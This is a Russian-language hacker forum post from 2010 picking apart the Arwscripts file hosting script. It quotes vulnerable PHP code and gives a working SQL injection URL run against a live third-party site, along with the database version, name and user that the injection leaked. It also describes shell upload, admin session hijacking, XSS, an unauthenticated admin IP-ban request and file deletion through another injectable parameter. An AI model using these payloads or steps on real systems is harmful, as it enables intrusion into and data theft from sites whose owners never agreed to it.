Arwscripts File Hosting Script

15.09.2010, 20:39

Ponchik

Постоянный

Регистрация: 30.08.2005

Сообщений: 730

С нами: 10892546

Репутация: 2274

Ну вон оно

process-multi-upload.php

какая-то там строка

$contenttype = $_FILES['Filedata']['type'];

Тама ещё по ходу и скуля....

view-file.html

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'file'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$file_ex[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"."[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$file_ex[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];

...

[/COLOR][COLOR="#0000BB"]$get_file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT dateadded, originalfilename, filename, filesize, password, description, originalext, totalviews, status FROM files WHERE id = "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" LIMIT 1"[/COLOR][COLOR="#007700"]);

[/COLOR][/COLOR]

но мне лень щупать да и зачем если шелл льётся

Любопытство сильнее лени

view-file.html?file=-1%20UNION%20SELECT%20null,null,null,null,null,conc at_ws(0x3a,version(),database(),user()),null,null, null%23

Код:

http://www.sharefile.org/view-file.html?file=-1%20UNION%20SELECT%20null,null,null,null,null,concat_ws(0x3a,version(),database(),user()),null,null,null%23

Код:

Comments: 5.0.67-community:admin_sharefileorg:admin_juzi@localhost

вот так например

А ещё там есть проверка на

$_SESSION[sess_isadmin] == 'yes'

через соседей если подменим сессию, будем одминами...

Но нафиг надо

А ещё при register_globals в footer.php XSS

$site_url,$site_name,$theme_path(нет, не инклуд... по крайней мере не в этом файле)

Всё, я срочно убежал гамать

таки вернулся...

admin-ban-ip.html

нет проверки на админство... ну он где-то есть, но я не стал искать, в скрипт сначала делает, потом проверяет

Ну короче

admin-ban-ip.html?banipsubmit=1&banip=1.1.1.1 - забаним ip 1.1.1.1

будет редирект, но IP Добавится

открыл следующий файл - скуля... и удаление файлов

admin-home.html?d={SQL или ID файла} - удалит ID и SQL Inj

не, это уже извращенство, смысла щупать нет, там всё дырявое